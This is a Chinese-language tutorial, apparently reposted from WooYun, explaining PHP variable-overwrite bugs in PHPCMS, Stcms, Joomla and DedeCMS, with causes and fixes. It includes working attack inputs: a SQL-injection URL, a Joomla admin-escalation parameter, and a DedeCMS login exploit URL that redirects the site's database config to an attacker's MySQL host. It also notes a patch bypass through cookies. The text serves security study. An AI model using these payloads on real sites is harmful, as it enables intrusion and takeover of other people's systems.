標籤:discuz http io ar os sp for strong 檔案
1.變數沒有初始化的問題(1):
wooyun串連1:[link href="WooYun: PHPCMS V9 member表內容隨意修改漏洞"]tenzy[/link]
$updateinfo[‘password‘] = $newpassword;裡面的數組沒有初始化類似這樣的賦值,我們在挖洞的時候搜尋類似updateinfo這樣的關鍵字看看
是否初始化,如果沒有。。。且register_global=On支援
可以提交
updateinfo[amount]這樣的數組隨意修改自己的餘額、點數、會員組、VIP等一切存放在member表的資訊.
修複:$updateinfo = array();
變數沒有初始化的問題(2):
wooyun串連2:[link href="WooYun: Stcms的一個sql注射"]Zvall[/link]
裡面說明了繞過程式的防禦,這個是導致注入的一個因素. 更多因素是因為where變數沒有初始化!
case ‘list‘:
$totalNum = $mysql->numTable("member", $where);
Where 沒初始化 導致可執行任意sql語句
http://localhost/stcms_html/member/u.php?action=list&where={sql}
修複:在類調用前加上$where=‘‘;
我們在挖洞的時候搜尋類似where這樣的關鍵字看,看看是否初始化.
變數沒有初始化的問題(3):
wooyun串連3: [link href="WooYun: joomla變數覆蓋導致註冊提權漏洞"]牛奶坦克[/link]
// 這個地方擷取使用者註冊資訊,POST進來的jform數組,但是沒有詳細指定
$requestData = JRequest::getVar(‘jform‘, array(), ‘post‘, ‘array‘);
$data = (array)$this->getData();
// 遍曆出註冊資訊
foreach ($temp as $k => $v) {
$data[$k] = $v;
}
看似沒問題的可是二維數組的特性可以覆蓋住:
jfrom[groups][]=7,利用foreach的問題覆蓋掉groups數組,變成7(Administrator)。
修複:像wooyun串連1那樣$updateinfo[‘password‘] = $newpassword類似這樣賦值。 或者檢查數組是否為二維。
2.核心代碼配置問題引發變數覆蓋:
Dedecms:例子(1):
一. 瞭解PHP超級全域變數
下面是PHP的超級全域變數,可以瞭解一個特性,全是數組。
$GLOBALS, 所有全域變數數組
$_SERVER, 伺服器環境變數數組
$_GET,通過GET方法傳遞給指令碼的變數數組
$_POST, 通過POST方法傳遞給指令碼的變數數組
$_COOKIE,cookie變數數組
$_REQUEST,所有使用者輸入的變數數組,包括$_GET, $_POST和$_COOKIE所包含的輸入內容
$_FILES,與檔案上傳相關得變數數組
$_ENV,環境變數數組
$_SESSION,會話變數數組
二:理解$_GET變數
可以寫個PHP來看看:
<?php
var_dump($_GET);
?>
訪問
http://www.xxx.com /test.php?key=value
得到
array(1) { ["key"]=> string(5) "value" }
OK,看到這裡應該明白了,$_GET就是個數組,我們用GET方法可以傳一個數組。
再訪問
http://www.xxx.com /test.php?key[arr1]=value
得到
array(1) { ["key"]=> array(1) { ["arr1"]=> string(5) "value" } }
我們通過GET方法傳入了一個嵌套數組。
到這裡其實問題就出來了,很多PHP安全資料都沒提過GET傳嵌套數組的這個特性,偶爾在幾個exploit裡看到 - -!
三. 深入跟進DEDECMS全域變數註冊漏洞
真正理解了$_GET變數後,我們來深入跟進這個漏洞產生的真正原因,類比一下漏洞的全過程:
提交一個嵌套數組:
http://www.xxxx.com /test.php?_POST[GLOBALS][cfg_dbname]=X
array(1) { ["_POST"]=> array(1) { ["GLOBALS"]=>
array(1) { ["cfg_dbname"]=> string(1) "X" } } }
假如資料傳入了DEDECMS程式,在第一層過濾,DEDECMS會檢查$_REQUEST裡有沒有全域變數的關鍵字,但我們的KEY
是_POST且是個數組,所以輕鬆繞過。
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && eregi(‘^(cfg_|GLOBALS)‘,$_k) )
{
exit(‘Request var not allow!‘);
}
}
接著進入真正的註冊變數流程,按順序是先從$_GET變數註冊的,我們的KEY是(_POST),第一輪遍曆$_GET成功註冊
了變數$_POST,第二輪遍曆$_POST成功註冊了變數$GLOBALS !
foreach(Array(‘_GET‘,‘_POST‘,‘_COOKIE‘) as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
到這裡漏洞的原因就清楚了,程式通過$_GET註冊了$_POST,通過$_POST註冊了$GLOBALS!
四. 領悟漏洞後的修補
完全領悟這個漏洞後,就會知道怎麼修補了。
1. 可以看看DISCUZ是怎麼做的,當發現KEY的第一個字元存在_就不註冊變數。
foreach(array(‘_COOKIE‘, ‘_POST‘, ‘_GET‘) as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != ‘_‘ && $$_key = daddslashes($_value);
}
}
2. DEDECMS可以用下面的方法臨時修補,當遍曆$_POST註冊變數,發現變數名存在GLOBALS就會阻止註冊變數。
foreach(Array(‘_GET‘,‘_POST‘,‘_COOKIE‘) as $_request)
{
foreach($$_request as $_k => $_v) {
if( strlen($_k)>0 && eregi(‘^(cfg_|GLOBALS)‘,$_k) ){
exit(‘Request var not allow!‘);
}
${$_k} = _RunMagicQuotes($_v);
}
}
例子exp:http://www.xx.com/織夢網站後台/login.php?dopost=login&validate=dcug&userid=帳號&pwd=密碼& _POST[GLOBALS]
[cfg_dbhost]=MYSQL外鏈IP&_POST[GLOBALS] [cfg_dbuser]=MYSQL的帳號&_POST[GLOBALS][cfg_dbpwd]=MYSQL的密碼& _POST[GLOBALS]
[cfg_dbname]=自己的dedecms的資料庫
Dedecms:例子(2): 突破官網補丁(雞助)
0x5sec
為什麼超全域變數$_REQUEST沒有讀取到$_COOKIE的參數呢?這個是php 5.3以後php.ini預設設定
request_order = "GP",所以你懂的!如果你修改request_order = "GPC",$_REQUEST應該就可以接受到參數了!
所以如果php是大於5.3的,變數覆蓋漏洞應該可以再次利用!
CheckRequest($_REQUEST); //這裡檢查變數是否合法 漏洞缺陷!$_COOKIE的參數根本不鳥他。。。
更多串連:https://forum.90sec.org/thread-2476-1-1.html
https://forum.90sec.org/thread-2468-1-1.html
3.Yaseng php變數覆蓋執行個體:
Yaseng 介紹得很詳細了,各種突破.
對於Dedecms例子2中:有部分人說& _POST[0xHEX 16進位][cfg_dbhost] //GLOBALS這樣能繞過? 本人測試多次不成功,可能是某些問題,也可能
是假的.
原文地址:http://zone.wooyun.org/content/1872
php之變數覆蓋漏洞講解